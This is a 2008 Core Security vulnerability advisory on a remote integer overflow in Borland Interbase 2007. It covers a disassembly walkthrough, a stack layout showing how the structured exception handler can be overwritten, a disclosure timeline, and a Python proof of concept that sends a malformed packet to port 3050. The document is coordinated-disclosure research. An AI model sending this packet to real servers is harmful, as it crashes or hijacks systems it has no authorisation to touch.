Borland Interbase 2007 Integer Overflow

Borland Interbase 2007 Integer Overflow

Borland Interbase 2007 Integer Overflow

Core Security Technologies - CoreLabs Advisory

Advisory Information

Title: Borland Interbase 2007 Integer Overflow
Advisory ID: CORE-2008-0415
Advisory URL:
Date published: 2008-05-20
Date of last update: 2008-05-20
Vendors contacted: Borland
Release mode: Coordinated release

Vulnerability Information

Class: Integer Overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq Name:
CVE Name:

Vulnerability Description

The Borland Interbase 2007 database server [1] is vulnerable to an integer overflow when a malformed packet is sent to the default TCP port 3050. The integer overflow can cause a stack overflow, which allows arbitrary code execution with system privileges.

Vulnerable packages

  • Borland Interbase 2007 Service Pack 2 (, Solaris and Windows versions.

Non-vulnerable packages

  • None currently available (see vendor information below).

Vendor Information, Solutions and Workarounds

Verbatim from vendor:

"CodeGear is aware of an InterBase security vulnerability that can expose an InterBase server (running on Microsoft Windows, Linux, Solaris and Macintosh platforms) to a possible security breach. This vulnerability is exposed via inside the firewall connections. If an open port which is connected to an InterBase server is found, and a socket connection is made to the InterBase server, invalid data can be sent to the InterBase server which can cause a buffer overflow resulting in a hang or crash of the InterBase server.

How do I protect my InterBase servers from this security vulnerability?

There are 2 basic steps to protect your InterBase servers from this vulnerability:

1. The Interbase.log file will give error log information about remote machines that have invalid connection attempts. You can use this information to identify such rogue applications and take corrective action.

2. InterBase versions 7.5 and later provide a facility to redefine your instance of InterBase to use a different TCP port. Use this facility when you install the product so external rogue applications cannot connect to a “known” port.

Please consult your security advisors for the best way to protect your systems.

We are investigating additional solutions to address this vulnerability and will notify users of any further precautions which may be taken for additional protection."


This vulnerability was discovered and researched by Damian Frizza, from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies. Special thanks to Alfredo Ortega. An exploit for this vulnerability will be shortly available for CORE IMPACT customers.

Technical Description / Proof of Concept Code

The Borland Interbase 2007 database server is vulnerable to an integer overflow when a malformed packet is sent to the default TCP port 3050. The integer overflow causes a stack overflow, which allows arbitrary code execution with system privileges.

During the research of a Firebird SQL bug reported earlier by another party [2] a triggering proof of concept was developed. According to [3], Firebird SQL started as a fork of Borland's open source release of InterBase, so the Firebird PoC was also tested on Interbase, triggering the bug described in this advisory.

1) Solaris version:

This is the vulnerable code section:

inet_accept_connection+0x164:   srl       %o5, 0x10, %o7
inet_accept_connection+0x168:   ld        [%l0 + 0xcc], %l1
inet_accept_connection+0x16c:   sth       %o7, [%l1 + 8]
inet_accept_connection+0x170:   ba        +0x3a0        <inet_accept_connection+0x510>
inet_accept_connection+0x174:   ld        [%fp - 0x8c], %g2
inet_accept_connection+0x178:   ld        [%fp - 0x88], %g3
inet_accept_connection+0x17c:   add       %fp, -0x84, %g2
inet_accept_connection+0x180:   st        %g2, [%fp - 0x90]
inet_accept_connection+0x184:   ldsb      [%g3], %g4
inet_accept_connection+0x188:   st        %g4, [%fp - 0xa0]
inet_accept_connection+0x18c:   ld        [%fp - 0x88], %o5
inet_accept_connection+0x190:   add       %o5, 1, %o7
inet_accept_connection+0x194:   st        %o7, [%fp - 0x88]
inet_accept_connection+0x198:   ld        [%fp - 0xa0], %o4
inet_accept_connection+0x19c:   st        %o4, [%fp - 0x304]
inet_accept_connection+0x1a0:   ld        [%fp - 0x304], %l0
inet_accept_connection+0x1a4:   st        %l0, [%fp - 0x308]
inet_accept_connection+0x1a8:   ld        [%fp - 0x308], %l1
inet_accept_connection+0x1ac:   cmp       %l1, 0
inet_accept_connection+0x1b0:   be,a      +0x50         <inet_accept_connection+0x200>
inet_accept_connection+0x1b4:   clr       %g2.

The integer overflow occurs when loading a signed byte from the packet here:

inet_accept_connection+0x184:   ldsb      [%g3], %g4

g4 = 0xffffff80

Then the value overflowing g4 is moved to l3, and used as a counter

inet_accept_connection+0x1b8:   ld        [%fp - 0x88], %g2
inet_accept_connection+0x1bc:   ld        [%fp - 0x90], %g4
inet_accept_connection+0x1c0:   ldsb      [%g2], %g3        *
inet_accept_connection+0x1c4:   stb       %g3, [%g4]        **
inet_accept_connection+0x1c8:   ld        [%fp - 0xa0], %l1
inet_accept_connection+0x1cc:   ld        [%fp - 0x88], %o4
inet_accept_connection+0x1d0:   sub       %l1, 1, %l2
inet_accept_connection+0x1d4:   st        %l2, [%fp - 0xa0]
inet_accept_connection+0x1d8:   add       %o4, 1, %o5
inet_accept_connection+0x1dc:   st        %o5, [%fp - 0x88]
inet_accept_connection+0x1e0:   ld        [%fp - 0xa0], %l3
inet_accept_connection+0x1e4:   cmp       %l3, 0             ***
inet_accept_connection+0x1e8:   ld        [%fp - 0x90], %o7
inet_accept_connection+0x1ec:   add       %o7, 1, %l0
inet_accept_connection+0x1f0:   st        %l0, [%fp - 0x90]
inet_accept_connection+0x1f4:   bne,a     -0x38         <inet_accept_connection+0x1bc>

* g3 point to packet bytes
** copy packet bytes to the stack address pointed by g4
*** loop until l3 = 0

2) Windows version:

In this platform the integer overflow is produced here:

0040F605    0FBE11          MOVSX EDX,BYTE PTR DS:[ECX]

And here the packet data is copied from the packet to the stack:

0040F62C    880A            MOV BYTE PTR DS:[EDX],CL

In the stack we can see a 0x40 bytes size buffer followed by a pointer to the source string:

00ECF6CC   0000000
00ECF6D0   00000000
00ECF6D4   00000000
00ECF6D8   00000000
00ECF6DC   00000000
00ECF6E0   00000000
00ECF6E4   00000000
00ECF6E8   00000000
00ECF6EC   00000000
00ECF6F0   00000000
00ECF6F4   00000000
00ECF6F8   00000000
00ECF6FC   00000000
00ECF700   00000000
00ECF704   00000000
00ECF708   00000000
00ECF70C   00A9636D  *

* source string pointer

We can write on the Structured Exception Handler taking control of the program flow if we set a pointer to our data when the loop writes the source pointer.

The following Python code demonstrates the bug on the default installation. Replace the IP address with yours. Port 3050 is the default one.

# save as and run it with Python
import socket
import struct

socket = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
socket.connect(("", 3050))

packet  ='\x00\x00\x00\x01\x00\x00\x00\x13'
packet +='\x00\x00\x00\x05\x00\x00\x00\x1d'
packet +='\x00\x00\x00\x09'
packet += 'B' * 9
packet +='\x00'*6
packet +='\x02\x00\x00'
packet += '\x01\x60'
packet +='\x02'
packet += chr(0x80) # negative byte
packet += 'A' * 1000


Report Timeline

  • 2008-05-02: Initial notification sent to the vendor, offering the CORE-2008-0415 advisory draft in plain-text or encrypted.
  • 2008-05-05: Vendor acknowledges and requests the draft in plain text.
  • 2008-05-05: Core sends the draft.
  • 2008-05-09: Vendor requests a more detailed description of the steps to reproduce the bug.
  • 2008-05-09: Core sends a more detailed description of the steps to reproduce the bug and fixes a bug on the PoC python code.
  • 2008-05-09: Vendor confirms the bug has been reproduced.
  • 2008-05-14: Vendor sends information for the advisory, including steps to protect from the vulnerability and considering the issue closed.
  • 2008-05-15: Core asks the vendor if the response is final and communicates that the steps described by the vendor are only ineffective mitigations that can be bypassed by a skilled attacker (i.e. finding any new port and erasing the Interbase logs). If the response is final, advisory will be published on May 26th as scheduled.
  • 2008-05-15: Vendor confirms that the response is final and that any further information will be notified to the customers.
  • 2008-05-15: Core decides and communicates the vendor that the advisory will be published on May 20th, no further postponement is required by the coordinating parties.
  • 2008-05-20: Advisory CORE-2008-0415 is published.


[1] Borland Interbase 2007
[2] Firebird Username Remote Buffer Overflow Vulnerability

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Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at


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